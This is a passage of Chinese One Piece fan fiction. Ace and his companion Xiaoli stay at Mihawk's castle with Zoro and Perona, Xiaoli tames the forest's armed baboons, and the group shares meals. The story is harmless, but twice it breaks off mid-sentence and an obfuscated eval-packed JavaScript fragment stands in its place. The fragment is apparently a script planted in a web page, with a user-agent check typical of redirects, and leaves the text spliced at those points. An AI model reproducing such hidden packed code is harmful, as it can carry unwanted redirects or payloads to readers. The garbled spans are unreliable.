小狸摇摇头,抬头对他露出一个浅浅的、带着点完成工作后松懈的笑容。这个笑容褪去了医生的冷静外壳,重新变回那只依赖他的小猫模样。艾斯看在眼里,心尖像被羽毛搔了一下,痒痒的,暖暖的。 “好啦好啦!伤员需要绝对休息!”佩罗娜拍拍手,开始活力十足地行使她自封的“城堡临时女管家”职权,“绿藻头你就老实躺在这张床上!艾斯和小猫,你们的房间在楼上隔壁!跟我来!” 她把索隆“扔”在床上,引来索隆一声压抑的闷哼,然后兴冲冲地领着艾斯和小狸上了旋转石梯。 楼上的房间稍小,但同样整洁。一扇窄窗面向浓雾弥漫的庭院,一张铺着干净亚麻床单的床,一套简单的桌椅。佩罗娜在门口探着头,粉色的眼睛在昏暗光线下亮得惊人,牢牢锁住小狸:“小猫医生,明天一早我就来找你玩哦!我有好多可爱的衣服和饰品,你穿一定超——合适!呵啰呵啰!”说完她才哼着那诡异的调子,心满意足地飘走了。 房门关上,终于将外界的阴冷、寂静和佩罗娜残留的甜腻气息隔绝开来。房间里只剩下壁炉跃动的火光,以及彼此交融的、令人安心的呼吸声。艾斯长长地舒了一口气,走到窗边看了一眼外面被浓雾吞噬的、无边无际的黑暗,然后转身,走向安静站在床边、似乎还在消化这一日纷乱的小狸。 没有言语,他只是张开双臂。小狸几乎是本能地扑了进去,将脸深深埋进他坚实温暖的胸膛,用力呼吸着那独属于他的安心气息。紧绷了一整晚的神经,在这独属二人的、绝对安全的港湾里,彻底松弛下来,化作一声细微的、满足的叹息。 她在艾斯怀里依赖地蹭了蹭,喉咙里发出细微的咕噜声,那条黑色的长尾巴也悄悄探出,习惯性地、充满占有欲地缠绕上他的小腿。“那个‘鹰眼’……七武海,强得可怕,”她闷闷的声音从他胸口传来,带着回忆的震颤,“当时看着他感觉自己完全没有胜算。他是海军那边的吧?不是敌人么?我们住在这里……真的没关系吗?” “米霍克啊,”艾斯的手有一下没一下地轻抚着她的后背,声音低沉缓和,“他在七武海里也算个特别的家伙。七武海不全是恶棍,小狸知道‘海侠’甚平吧?还有“蛇姬”波雅·汉库克……总之,米霍克只是执着于他自己的剑道,站在他自己的立场上行事。就像路飞铁了心要当海贼王,索隆那笨蛋拼死也要成为世界第一大剑豪一样,他们都有自己认定的、必须走到底的路。” 小狸似懂非懂,但艾斯沉稳的语气让她安心。她抬起头,壁炉的火光在她清澈的蓝眼睛里跳跃,映出小小的、专注的他的倒影:“那艾斯的路呢?” 艾斯笑了,那笑容在跳动的光影里格外温柔,他低头,将一个轻吻印在她光洁的额头上:“我的路啊……就是带着我家的小猫,自由自在地航行,看遍这个世界所有不可思议的风景,然后……”他顿了顿,将她搂得更紧些,“然后回家。” 家,是莫比迪克号上震天的欢笑与豪迈的歌声,是老爹宽阔的肩膀和伙伴们吵吵嚷嚷的问候,而现在,更是怀里的这份沉甸甸的温暖与归属。 --- 接下来的几天,克拉伊咖那岛向两位不速之客展示了它那冷硬、单调,却又暗藏规律的日常节奏。 索隆的恢复力堪称怪物。在小狸那种奇异的“暖流”治疗辅助下,那么严重的伤势,第二天他就能下床进行极其轻微的活动,到了第三天下午,竟然已经试图恢复基础的体能锻炼,被小狸严厉制止后,才改成在房间内进行冥想和极其缓慢的空挥练习。他那份对变强的执着,几乎到了燃烧生命的地步。 更多时候,小狸是在佩罗娜无比热情的引领下,探索着这座巨大而空旷的古堡。鹰眼对此似乎持一种默许的态度,或者说毫不关心,任由他们在城堡里活动。 真正让小狸有些“难以招架”的,也是佩罗娜那火山般的热情。 这位幽灵公主像是终于找到了漫长孤寂岁月中从天而降的、最合心意有趣的玩具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不会去阻止佩罗娜——那显得太幼稚小气,而且佩罗娜并无恶意,小狸自己也似乎乐在其中。但当他的小猫带着一身佩罗娜房间的甜香和混合着幽灵城堡微凉气息的味道回到他身边时,艾斯就会将人不由分说地捞进怀里,把脸深深埋进她的发间,然后用嘴嘴唇或下巴上冒出的细小胡茬去蹭她敏感的颈侧和耳后,直到她痒得忍不住笑着扭动躲闪,才闷闷地、带着点抱怨地嘟囔:“身上都是那个幽灵丫头的味道……” --- 这天下午,城堡里异常安静,佩罗娜在空旷的走廊和房间里飘荡穿梭。 “小狸——小狸——你在哪里呀?”她的声音在石壁间回荡,悠闲又轻松。 飘过中庭时,她看到了正在和索隆说着什么的艾斯。索隆靠着一根石柱,虽然脸色还有些苍白,但眼神已经恢复了锐利,似乎在向艾斯询问关于修炼的某些心得。艾斯抱着手臂,听得认真,偶尔点头或简短回答。 “火拳!”佩罗娜猛地飘到两人中央,打断了他们的谈话,“你有看到小狸吗?我找遍了城堡都没找到她!她不会迷路了吧?” 艾斯抬起头,略显诧异地挑了挑眉:“小狸?昨天她说有点担心前锋号,怕潮水涨得太高,说想去海边看看,估计穿过森林去那边了吧。” 他的话音刚落—— “什么?!!” 索隆和佩罗娜几乎同时失声。 索隆瞬间站直了身体,眼睛猛地瞪大,脸上惯有的懒散或战意被震惊取代。而佩罗娜更是直接尖叫起来,声音拔高到几乎破音:“穿过森林去海边?!一个人?!!” 她的脸色“唰”地变得比平时更白,粉色的瞳孔因极度惊恐而收缩。森林里……森林里可是有好多、好多讨厌又暴躁的狒狒啊!那些猴子凶得很!小狸她,她一个人……她已不敢想象那娇小纤细的身影被成群凶猛狒狒包围的场景。 再没有半分犹豫,佩罗娜甚至顾不上再说什么,整个幽灵身躯“呼”地一声化作一道模糊的虚影,以最快的速度直接穿透了厚重的城堡石墙,朝着海边森林的方向疾驰而去,只留下一串越来越远的、带着哭腔的焦灼尾音:“小狸——千万不要有事啊——!!” 庭院里,只剩下脸色骤然凝重的索隆和看着佩罗娜离开方向抬起了手想要说什么的艾斯。方才轻松的气氛荡然无存,取而代之的是一股冰冷的寒意,顺着索隆的脊椎悄然爬升。 “啧!”索隆啐了一口,不顾身上伤口可能崩裂的风险,一把抓过靠在石柱上的刀,“还愣着干什么!追啊!”还没等艾斯说什么,他已经冲了出去,艾斯挽留的手还停在半空,无奈的挠挠头 他们是不是误会什么了……? 他叹了口气,还是跟了过去,要是“凶星”会被几只狒狒伤到的话,爷爷估计跨海都要把他们抓回去重练的 毕竟,他家的小猫可是相当凶的…… 83.狒狒 佩罗娜在森林中飞速的飞行,焦急的呼喊着 “小狸——小狸你在哪里——” 她的声音被森林吞没,变得细碎而无力,毫不意外的,除了零星的鸟鸣和风吹过废墟石缝的呜咽,什么回应都没有。 “我怎么会忘记告诉她呢……”佩罗娜攥紧了裙摆,指尖陷进柔软布料里,“那些该死的狒狒……小狸要是真的……” 她不敢想下去。那个总是笑眯眯的、像布娃娃一样乖乖让她梳头发、听她讲恐怖故事时眼睛会瞪得圆溜溜的小狸——如果因为她的一时疏忽而在森林里遭遇不测,她永远都不会原谅自己。 “呜呜呜……”佩罗娜抬手用力抹了把眼睛,加速向森林深处飞去,“你们要是敢动她一根头发,我就把整个森林都塞满消极幽灵!把你们的毛都拔光做成地毯!” --- 另一边,早些时候,小狸抱着一卷厚重的防水油布,慢悠悠的在森林里穿梭。 天刚蒙蒙亮时她就溜出了城堡,艾斯还蜷在客房那张对于他来说略显短小的床上睡得正沉,鼻尖埋在枕头里,呼吸均匀绵长。她悄悄凑过去时,还能看见他睡梦中微微颤动的睫毛。她差点就忍不住想伸手碰碰他的脸颊,最后只是偷偷把那床滑到腰际的薄被重新拉到他肩上。 前锋号还泊在岛礁附近随波轻晃,小狸站在城堡高处用望远镜看了又看,总觉得它像个无依无靠的孩子,随时会被突然变脸的大海一口吞掉。于是她拿起昨晚翻箱倒柜找到的鹰眼城堡仓库里尘封的油布,虽然沾了灰,但质地厚实,应该能用。 森林比想象中更难走。倒塌的石柱半埋在泥土里,上面爬满了手腕粗的藤蔓;断裂的拱门横在路中央,石缝里开着不知名的白色小花。这里显然曾经是某个繁华的聚居地,石墙上的雕刻虽然已被风雨侵蚀得模糊不清,但仍能看出精细的纹路。小狸跳过一截倒地的石梁时,脚下一滑,油布卷差点脱手。 “真是的……”她稳住身形,拍了拍沾上泥渍的裤腿,“这里到底是哪儿啊?” 四周的树木长得几乎一模一样,小狸试着凭记忆往回走,却越走越觉得不对,刚才路过的那截刻着花纹的石柱,怎么好像已经看见第三次了? 她停下脚步,耳朵轻轻动了动。 没有风。鸟鸣不知何时也消失了。 小狸皱了皱眉,索性抱着油布三两下爬上了最近的一棵树。粗糙的树皮硌着她的掌心,她在树冠间跳跃,最后在一根粗壮的横枝上站稳,手搭凉棚向远方望去。 鹰眼那座尖顶城堡的轮廓在晨雾中若隐若现,原来她已经走出这么远了……城堡在东北方向,那海岸应该在…… 她的思绪被脚下传来的震动打断。 不是风声,不是落石。是密集的、沉重的踩踏声,混杂着金属摩擦的刺耳声响,正从四面八方围拢过来。速度极快,数量……很多。 小狸蹲下身,透过枝叶缝隙向下看。 最先冲出灌木丛的是一道黑影——体型比成年男子还要壮硕,浑身覆盖着杂乱的黑毛,但怪异地穿着锈迹斑斑的胸甲,手里握着一柄缺口的长刀。它四肢着地奔跑的姿势分明是野兽,可那握刀的姿势、那冲锋时的重心把控,却完全是经过训练的战士。 紧接着是第二只、第三只……十只、二十只。它们从树林的阴影里涌出,铠甲在晨光中反射出暗沉的光,手中的武器五花八门:长剑、斧头、甚至还有绑着铁刺的木棍。它们低吼着,喉咙里发出咕噜咕噜的威胁声,猩红的眼睛齐刷刷地锁定了树上的小狸。 不到一分钟,她栖身的这棵树已经被团团围住。狒狒们焦躁地踱步,用武器敲打地面,溅起潮湿的泥土,对她龇出森白的獠牙。 “领地!入侵者!战斗!战斗!” 那吼声粗粝难听,但小狸竖起的猫耳敏锐地捕捉到了其中可辨识的意图。她眨了眨眼,尾巴在身后慢悠悠地晃了一下。 “你们……能听懂我说话吗?”她试探性地开口,声音在寂静的森林里显得格外清晰。 狒狒群出现了短暂的骚动。它们互相看看,发出困惑的咕哝声,显然没料到这个“入侵者”会和他们交流,甚至似乎可以听懂他们的话。但狒狒们很快恢复了凶相,它用刀背狠狠砸了一下树干,震得枝叶簌簌作响。 “战斗!离开!或者死!” “我只是路过啦。”小狸歪了歪头,很久没有被动物拒绝过得她还有些不太适应,“要去海边一趟,我的船在那儿。你们要是能带个路,我马上就走,绝对不打扰你们。” 回应她的是更狂躁的吼叫。三只狒狒同时撞向树干,沉重的冲击让整棵树剧烈摇晃起来。大树发出不堪重负的呻吟,主干开始崩裂。 “喂!别撞啊!”小狸抓紧脚下的树枝,“要倒了——” 话音未落,树干应声折断。 巨大的树木倾倾倒,带着轰然巨响砸向地面。尘土飞扬间,十几只狒狒咆哮着扑向坠落的黑影……但它们扑了个空。 小狸在树干触地的前一瞬蹬枝跃起,在空中翻了个身,轻巧地落在不远处一截断裂的石柱顶端。她一手撑着石面,另一手还稳稳地抱着那卷油布。晨风吹起她额前碎发,露出一双在阴影中微微发亮的蔚蓝瞳孔。 狒狒们愣住了。它们看看空荡荡的倒塌树冠,又看看石柱上那个娇小的身影,一时间竟有些不知所措。 但战斗的本能很快占了上风。领头的狒狒发出一声尖啸,率先冲了上去。它的动作快得惊人,长刀划破空气时带着凄厉的呼啸,直劈小狸面门——那是标准的居合斩起手式。 小狸向后仰身,刀锋几乎擦着她的鼻尖掠过。在狒狒收势不及的瞬间,她脚下一蹬,整个人贴着石柱滑下,油布卷随手抛到安全角落,空出的双手五指张开—— 锋利的爪刃从指尖弹出,在晨光中泛起冷冽的寒光。 “我说了,我只是想问个路。”她压低身体,尾巴在身后绷成一道警觉的弧线,“但你们要是再不听人说话……” 更多的狒狒涌了上来,它们显然懂得配合,攻击并非杂乱无章,而是有节奏的交替进攻。 小狸在刀光斧影间穿梭。她的速度太快,快到在狒狒们的视觉中只留下一串残影。一记横斩袭来,她侧身避过,顺势抓住那只狒狒持刀的手腕,借力翻身跃到它肩上,脚尖在它头盔上轻轻一点,又弹向另一侧。 落地时,她终于看清了某只狒狒使出的招式:三把刀交错斩出的轨迹,那种独特的发力角度和步伐…… “那是……”小狸眼睛微微睁大,“索隆的三刀流?” 有意思。 小狸嘴角勾起一个弧度。那是猎人发现有趣猎物时的表情,带着点孩子气的好奇,又透着不容置疑的掌控感。 “最后警告一次哦。”她甩了甩手,“再打下去,我可就不客气了。” 狒狒们的回答是更加疯狂的进攻,小狸叹了口气。 “是你们先动手的。” 下一秒,她消失了,整个人融入阴影。 狒狒们集体僵住,眼中今天第一次出现了名为“困惑”的情绪。它们转动头颅,竖起耳朵,却捕捉不到任何声响。 然后,从上方传来了风声。 小狸从一棵古树的最高处俯冲而下,速度快得拉出一道模糊的残影。她径直落在那只领头的面前,在它来得及反应之前—— 五指张开,按在了它毛茸茸的头顶。 “趴下。” 轻飘飘的两个字,却带着千钧重量。 狒狒甚至没明白发生了什么,就感到一股无法抗拒的力量从头顶压下。它壮硕的身体像被无形巨手狠狠摁进地里,四肢不受控制地弯曲,“轰”的一声,整张脸埋进了泥土中。 尘土飞扬。 其他狒狒惊恐地看着伙伴被一击制伏,喉咙里发出呜咽般的低吼。几只胆大的试图上前救援,小狸只是抬起眼,蓝色的的瞳孔在阴影中扫过—— 那眼神冰冷、锐利,明明只是轻轻一瞥,却让所有被目光扫过的狒狒如坠冰窟,僵在原地动弹不得。 她松开了手。狒狒挣扎着想爬起来,却被小狸一脚踩在背上,明明看起来轻飘飘却让它无论怎么挣扎都纹丝不动。 “现在,”小狸蹲下身,凑近那只因为愤怒和屈辱而喘着粗气的狒狒,声音轻柔得像在哄小孩,“可以好好听我说话了吗?” --- 艾斯和索隆很快追上了在森林里找人的佩罗娜 “所以森林里到底有什么?”艾斯一边拨开垂到面前的藤蔓一边问。他看起来并不太着急,步伐稳健,甚至还有闲心顺手摘了片形状特别的叶子在指尖转着玩,“你们俩紧张成这样。” 索隆脸色凝重:“武装狒狒。那些家伙会模仿人类的战斗方式,看一遍就能学会你的招式。鹰眼在的时候它们不敢靠近城堡,但森林是它们的领地。” “狒狒?”艾斯挑眉,“听起来挺有意思的嘛。” “一点都不有意思!”佩罗娜飘在前面,急得声音都在抖,“它们数量很多,而且下手根本不知轻重!小狸要是被它们围住——” 她的话被远处传来的巨响打断。 不是一声,而是一连串的闷响,像是重物接连倒地,间或夹杂着树木折断的脆响。紧接着是某种野兽的哀嚎——短促、凄厉,然后戛然而止。 三人的脚步同时顿住。 “那个方向……”索隆握住了刀柄。 艾斯眯起眼,望向声音传来的森林深处。他脸上的轻松神色慢慢褪去,不是变得紧张,而是换成了一种更复杂的表情——像是预料到什么,又带着点无奈的纵容。 “走吧。”他说,率先迈开步子,“去晚了,可能就看不到精彩部分了。” 他们穿越最后一片灌木丛时,眼前的景象让佩罗娜倒抽一口冷气。 废墟间的空地上,横七竖八地躺着至少二十只武装狒狒。它们没死,但显然都失去了战斗力:有的抱着肚子蜷缩呻吟,有的捂着脸在地上打滚,还有几只被自己的武器穿过铠甲缝隙钉在地上无法挣脱。 而在这一片“尸横遍野”的中央,小狸正背对着他们蹲在一只格外壮硕的狒狒肚子上。那只可怜的生物仰面朝天,四肢摊开,胸口剧烈起伏。小狸的两只手正揪着它脸颊两侧的毛,往两边轻轻拉扯,把那张毛脸扯出一个滑稽的表情。 “早点好好说话不就不用吃苦头了嘛!”她的声音里带着点小小的得意,尾巴在身后愉快地摇晃,“现在能听懂我说话了吗?嗯?” 狒狒发出含糊的呜呜声,不知道是屈服还是抗议。 就在这时,灌木丛的响动引起了小狸的注意。她耳朵猛地竖起,甚至没回头确认,身体已经做出了反应—— 松开狒狒,蹬地、转身、俯冲,一气呵成。 她穿过了佩罗娜幽灵化的身体,攻击落空却没有停留,反而是继续向前 索隆只觉眼前一花,一道娇小的黑影已经扑到面前。他甚至没看清她的动作,只感觉到凌厉的杀气如冰锥般刺向咽喉。多年战斗培养出的本能让他瞬间拔刀格挡,双刀交错封住前方—— 但小狸像没有骨头似的,一击不中,身体以不可思议的角度从双刀缝隙间滑了进来。索隆瞳孔收缩,他能感觉到那双近在咫尺的眼睛里没有任何情绪,冰冷得像打磨过的蓝宝石。 然后她的双腿缠上了他的脖子。 索隆脑中警铃大作。这个姿势、这个发力角度——是标准的绞杀技!他几乎能预见到下一秒自己会被狠狠摔砸在地,颈骨承受重击的下场。 预期中的重击没有到来。 一只温暖的手从旁边伸过来,精准地抓住了小狸的后衣领,像拎小猫一样把她提了起来。 “哇啊!”小狸短促地惊叫一声,身体在空中扑腾了两下,爪刃还保持着弹出的状态。她扭过头,对上艾斯那张似笑非笑的脸,愣了愣,眼中的杀气瞬间消散得一干二净。 “哥哥!”她立刻松了劲,整个人软绵绵地挂在他手臂上,尾巴讨好地绕上他的手腕,“你们怎么来啦?穿过佩佩时我没看清,还以为狒狒这么厉害,连果实能力都能学会,吓我一跳,差点要被狒狒比过了……” 艾斯把她放到地上,顺手捋了捋她刚才因为战斗而翘起来的头发:“我们才是要问。这一地……”他环视四周哀嚎的狒狒,挑了挑眉,“是什么情况?虐待小动物?” “才没有呢!”小狸鼓起脸颊,挥了挥拳头,“是他们先攻过来的!我好声好气问路,他们不听,还要砍我!我只好先教会他们什么叫‘听人说话’啦!” 她说到“教会”两个字时,有意无意地扫了一眼周围的狒狒。那些刚才还在呻吟的生物立刻噤声,有几个甚至瑟缩着往后挪了挪。 索隆这时才缓缓收刀入鞘。他的心跳仍然很快,手心甚至沁出了一层薄汗。刚才那一瞬间——如果小狸真的是敌人,如果她没有在最后关头收手…… 他看向那个正拽着艾斯衣袖告状的娇小身影,眼神复杂。 分开的这段时间,到底发生了什么?那个曾经在阿拉巴斯坦沙漠里怕热到要躲在他哥哥影子下、被艾斯护在身后介绍“这是我妹妹”的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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二十多只狒狒分成两列,用粗壮的藤蔓编成绳索,拖着小巧的前锋号在浅滩上前进。它们配合默契,步伐整齐,简直像一支训练有素的工兵队——如果忽略它们鼻青脸肿的外表和时不时偷瞄小狸时那惊恐的眼神的话。 艾斯走在队伍旁边,一边笑一边摇头。他手里拿着小狸带来的防水布,等船拖上岸就要包起来。 “你还真是……”他走到小狸身边,仰头看她,“把它们治得服服帖帖啊。” 小狸晃了晃腿,得意地扬起下巴:“那当然!讲道理不听,那就用他们听得懂的方式讲嘛。”她弯下腰,凑近艾斯,压低声音,“而且它们学招式学得真的很快哦!” “模仿者啊。”艾斯摸了摸下巴,若有所思地看向那些狒狒,“有意思的能力。不过……” 他话音未落,异变突生。 那只一直老实巴交的狒狒突然发出一声低吼,毫无征兆地转身,抡起巨大的拳头砸向艾斯!其他狒狒也像是收到了某种信号,齐刷刷地松开藤蔓,咆哮着扑了上来! 它们的目标很明确:这个新来的、看起来不如那只猫可怕的男性。 小狸甚至没从狒狒肩上下来。她只是“哎呀”了一声,捂住眼睛,从指缝里偷看。 艾斯叹了口气。 “我就知道……大炎狱”。 然后他抬起手,打了个响指。 橘红色的火焰凭空燃起,不是爆炸,不是喷射,而是凭空出现般在扑来的狒狒们脚下画出一个完美的火圈。火焰不高,温度却让空气都扭曲了。冲在最前面的几只狒狒急刹车,身上的毛已经发出了焦糊味。 狒狒的拳头停在半空,它愣愣地看着拳头前方——那里悬着一颗苹果大小的火球,缓缓旋转,散发出危险的热度。 艾斯就站在火球后面,脸上挂着懒洋洋的笑。 “还要打吗?”他问,语气轻松得像在问“今天天气不错吧”。 狒狒们互相看看,又看看肩上一脸“我早就告诉过你们”表情的小狸,最后齐刷刷地后退一步,摇头。 火圈熄灭。艾斯招招手,那颗小火球飘到他掌心,被他随手捏灭。 “继续干活。”小狸用树枝敲了敲狒狒的头盔,声音甜丝丝的,“再闹事的话,下次就不是烧焦毛这么简单了哦?” 狒狒们打了个寒颤,立刻转身,卖力地拖起船来。 前锋号终于被安全地拖上沙滩,安置在一片平坦的岩石后面。艾斯和小狸一起用防水布把它仔细包好,边缘用石块压牢。做完这一切时,太阳已经升到半空,森林里的雾气散尽,露出澄澈的蓝天。 狒狒们完成任务后并没有立刻离开。它们聚在不远处,眼巴巴地看着小狸,像是在等待下一步指令——或者说,在确认这个可怕的“小个子”是不是真的会放过它们。 小狸拍了拍手上的沙子,走过去,挨个摸了摸它们的头。动作很轻,像在抚摸宠物。 “以后别再随便攻击路人了,知道吗?”她说,“虽然也不会有什么路人就是了,你们走吧”小狸挥挥手。 如蒙大赦的狒狒群立刻作鸟兽散,眨眼间就消失在森林深处,只留下几撮烧焦的毛和杂乱的脚印。 艾斯走到小狸身边,和她并肩看着森林的方向。 “你变强了。”他突然说。 小狸转过头,对上他认真的眼神,愣了一下,然后笑起来:“是爷爷教得好呀。” “不全是。”艾斯伸手,用拇指擦掉她脸颊上不知何时沾到的一点泥渍,“小狸很努力的。” 他的指腹温暖,小狸蹭了蹭他的手,像只真正的猫。 “可怕吗?”她问,没头没尾的。 艾斯知道她在问什么,刚才战斗时那种冰冷的杀气,那种近乎残忍的效率,属于,那片名为马林梵多的战场。 “不可怕。”他摇头,手滑到她耳根,轻轻捏了捏,“只是有点心疼。” “心疼?” “嗯。”艾斯望向大海,阳光在他眼底投下细碎的光斑,“因为你必须变强才能保护自己……而我没能让你一直待在安全的地方。” 小狸安静了几秒,然后整个人扑进他怀里,脸埋在他胸口。 “笨蛋哥哥。”她的声音闷闷的,“是我自己选择要跟着你的。是我自己选择要变强的。我想站在你身边,不是站在你身后。” 艾斯没说话,只是收紧了手臂。 小狸从艾斯怀里抬起头,眼睛亮晶晶的:“我饿了!回去让佩佩做点心吧?她昨天说想尝试新菜来着。” “好。”艾斯笑着牵起她的手,“走吧。” “我还看到一个大家伙,背着很像鹰眼先生的刀呢……你说他们的武器都是从哪里来的?其他的就算了,就当他们是捡到的,黑刀也可以在地上捡到么?……说不定是鹰眼先生做给他的!像收集稀有物种一样……枪他们也会用……将来也会有模仿我的狒狒嘛!?” 两人手牵着手往回走,少女清脆的声音叽叽喳喳的回荡在森林中,越来越远直至彻底消失,森林重归寂静,至少对那些鼻青脸肿的狒狒来说,森林重归寂静,不要再来了,这样挺好的 84.鹰眼家今天的饭 为了给记录指针重新补充磁力,小狸和艾斯要在岛上住一周,今天是暂住在鹰眼家的第五天 每天都是无所事事的闲逛,偶尔偷偷围观索隆或鹰眼的训练,日子慢慢也变的无趣,所以每天最困扰小狸的事变成了三个哲学问题 早上吃什么?中午吃什么?晚上吃什么? 小狸和艾斯的厨艺仅限于把食物弄熟的地步,在海上早就已经把烤鱼吃够了,每到这时都万分怀念萨奇和玛琪诺的手艺,如今在岛上,更是每天眼巴巴的坐在餐桌前等着 每天的三餐除了佩罗娜做的点心,其实是鹰眼下厨更多一点,甚至他们吃的青菜,居然也是朱洛基尔·米霍克,世界第一大剑豪,亲自挽着袖子种的。 小狸已经无聊到坐在台阶上看鹰眼种地,他手里拿着的不是黑刀“夜”,而是一把普通的、甚至有些旧的园艺铲。他面前是几垄深色的土壤,正在给一株番茄松土。没有一丝多余的动作,简单的工序也被他做得赏心悦目。小狸甚至在他波澜不惊一成不变的表情中看到了细微的称作满足的情绪。 仿佛察觉到她的目光,鹰眼手中的动作几不可查地顿了一下。他没有回头,只是继续着手里的工作,他仿佛默许了这场安静的观摩,又或者是对于小狸在这里毫不关心。 “看什么呢?” 声音从头顶传来。小狸不用抬头就知道是佩罗娜。 “我在想……”小狸托着下巴,“好厉害啊,米霍克先生什么都会。” 佩罗娜飘到她身边,顺着她的目光看过去。鹰眼正弯腰检查一株番茄的叶片,手指轻轻拂过叶面,似乎在检查是否有虫害。 “你看他这样子不声不响的,其实超级记仇的”佩罗娜降落到她身边,挨着她坐下,“上次我喝了他晚餐要喝的红酒,他盯着我看了整整三分钟,一句话没说,但我差点以为自己要死了。还有不是一直在传吗,有个海贼路过嘲讽他,他一路追杀人家到东海,还嘴硬说自己只是无聊……” 小狸想象了一下那个画面,忍不住笑了:“听起来像是米霍克先生会做的事。” “是吧是吧!”佩罗娜凑近一点,压低声音,“我和你说,其实他这个人有洁癖又讲究,食材要吃新鲜的,红酒要喝和晚餐搭配的,索隆那家伙更过分,吃东西狼吞虎咽,人家精心做的东西完全就是糟蹋了……” 她掰着手指细数两个男人的种种“怪癖”,语气与其说是抱怨,不如说是带着点终于有人可以分享的喜悦。 小狸听着,忍不住笑了。她想起在莫比迪克号上,萨奇也经常抱怨艾斯吃得太快,浪费了他精心设计的菜品层次。 “不过佩佩,”小狸转过头,好奇地问,“你为什么会和米霍克先生、索隆一起生活呢?你们看起来……不太像会住在一起的人。” 佩罗娜的身体明显僵了一下。她双手环膝,下巴搁在膝盖上。那个总是活泼飞扬的幽灵公主,忽然显出了一丝罕见的、真实的低落。 “都是那个暴君熊啦……”她的声音闷闷的,带着怨气,“人家在恐怖三桅帆船住得好好的,每天有库玛西陪我玩,有莫利亚大人宠着我……结果大熊突然找上门,还问我想去哪里旅游……” 她抬起头,眼睛里浮起一层水汽,但更多的是一种孩子气的委屈。 “我、我就随便说说,想去黑暗又潮湿、充满怨念的古堡,每天唱着诅咒之歌生活……结果一眨眼,就被拍到这个鬼地方来了!” 小狸愣住了。她没想到会是这样的答案。 “虽然这里确实很符合我的要求啦……”佩罗娜吸了吸鼻子,声音小了些,“黑暗的古堡,有,潮湿的森林,有,怨念……索隆那家伙的怨念算不算?可是!可是完全没有听说过这里没有佣人啊!呜呜呜,我刚来的时候只有我一个人,连床单都要自己换,地板都要自己擦……” 她越说越激动,眼泪真的掉下来了——虽然是幽灵果实能力变出来的、很快就会消失的眼泪,但那份委屈是真的。 “我好想念库玛西,好想莫利亚大人,好想我的玩偶们……呜哇——” 小狸慌了。她手忙脚乱地想去安慰,但又不知道该怎么安慰。情急之下,她脱口而出: “佩、佩佩!我们中午吃什么啊?” 哭声戛然而止。 佩罗娜抬起头,眼泪还挂在睫毛上,但眼睛已经亮了起来。她眨了眨眼,又眨了眨眼,然后猛地飘高,双手握拳: “对!吃饭!小狸想吃什么?今天一定要让小狸好好见识一下佩罗娜大人的手艺!” 变脸之快,让小狸目瞪口呆。 但不管怎样,危机解除了。小狸松了口气,尾巴软软地垂下来。 --- 午餐比较简单——鹰眼做的蔬菜汤,配佩罗娜烤的面包。蔬菜都是菜园里现摘的:胡萝卜、洋葱、芹菜、土豆,还有一小把鹰眼自己种的香草。汤熬得浓郁,蔬菜软烂,喝下去整个胃都暖起来。 面包烤得外脆内软,表面撒了粗盐,撕开时热气腾腾,蘸着汤吃刚刚好。 小狸喝了两碗汤,吃了大半个面包,满足地靠在椅背上。窗外阳光正好,透过彩色玻璃在餐桌上投下斑驳的光影。 “下午做什么呢……”她喃喃自语。 这几天,她把城堡能逛的地方都逛遍了,森林里能去的角落也都去过了。狒狒们见到她就跑,连试探性的攻击都不敢有。索隆在修行,她不好打扰。鹰眼要么在书房看书,要么在菜园劳作。佩罗娜倒是一直陪着她,但也不能整天黏在一起。 无所事事。 这种感觉,对她来说其实很陌生。在莫比迪克号上,总有事情做,但现在,她只需要等待记录指针充好磁力。 “无聊了?”艾斯的声音在耳边响起。 小狸转过头,看见他不知什么时候坐到了她旁边,手里拿着半个苹果,咬得咔嚓作响。 “有一点……”她老实承认,尾巴无精打采地晃了晃,“不知道要做什么。” 艾斯把苹果递到她嘴边,她咬了一小口,有点酸,还是留给艾斯吧,他什么都能吃。 “那就什么都不做。休息也是航行的一部分。小狸今天的任务就是好好休息。” 小狸被他逗笑了。她靠在他肩上,闭上眼睛。 午后的阳光透过窗户,暖洋洋地洒在身上。餐厅里很安静,只能听见艾斯咀嚼苹果的声音,还有远处隐约传来的、索隆训练时的呼喝。 就这样什么都不做,好像……也不错。 --- 晚饭时间,四个人坐在一起,长条桌上,摆放着佩罗娜大人努力了一下午的成果 舒芙蕾金黄柔软,边缘微脆,淋上枫糖浆后闪着诱人的光泽,看起来美味极了,除了不应该出现在晚饭餐桌上当主食这件事一切都很完美。 佩罗娜坚持自己只做可爱的料理,所以主菜其实还是出自鹰眼之手,他用佩罗娜剩下的面糊加了香草和奶酪做成了煎饼,还有混着虾、蛤蜊、鱿鱼和扇贝的海鲜焖饭,海鲜的鲜甜完全渗透进每一粒米中。表面撒着切碎的欧芹和柠檬皮屑,清爽的香气平衡了炖饭的浓郁,桌子上还有一大碗用鹰眼自己种的蔬菜和牛肉一起炖的汤,打开盖子就传来番茄浓郁的香气,小狸咽了下口水,已经迫不及待的端起了盘子等待着投喂 索隆一如既往地沉默而迅速地解决着面前的食物。他的吃相不算文雅,但很专注——每一口都咀嚼得很认真,像是在进行某种进食修行。 佩罗娜则完全相反。她几乎没怎么吃自己的那份,而是贴在小狸身边,像只兴奋的小鸟一样叽叽喳喳 小狸被她挤得快要变成猫饼,艰难地把食物送进嘴里,还要抽空回应:“嗯嗯,好吃……这个真的好吃……这个也好吃,佩佩好厉害……” 餐桌上传来餐具轻微的碰撞声,咀嚼声,还有佩罗娜时不时的“呵啰呵啰”笑声。烛光摇曳,在每个人的脸上投下温暖的光晕。 就在这时—— “嗒。” 很轻的一声。水晶杯底与木质桌面接触的声音。 但餐厅里的所有人都停顿了一下。 鹰眼的目光平静地扫过桌面,掠过索隆专注进食的脸,掠过佩罗娜好奇打量小狸的眼神,最终落在了艾斯和小狸身上。他的视线在小狸刚收回的、还带着一点油渍的手指,和艾斯盘子里多出来的蔬菜之间,停留了半秒,有些嫌弃的扭开脸。 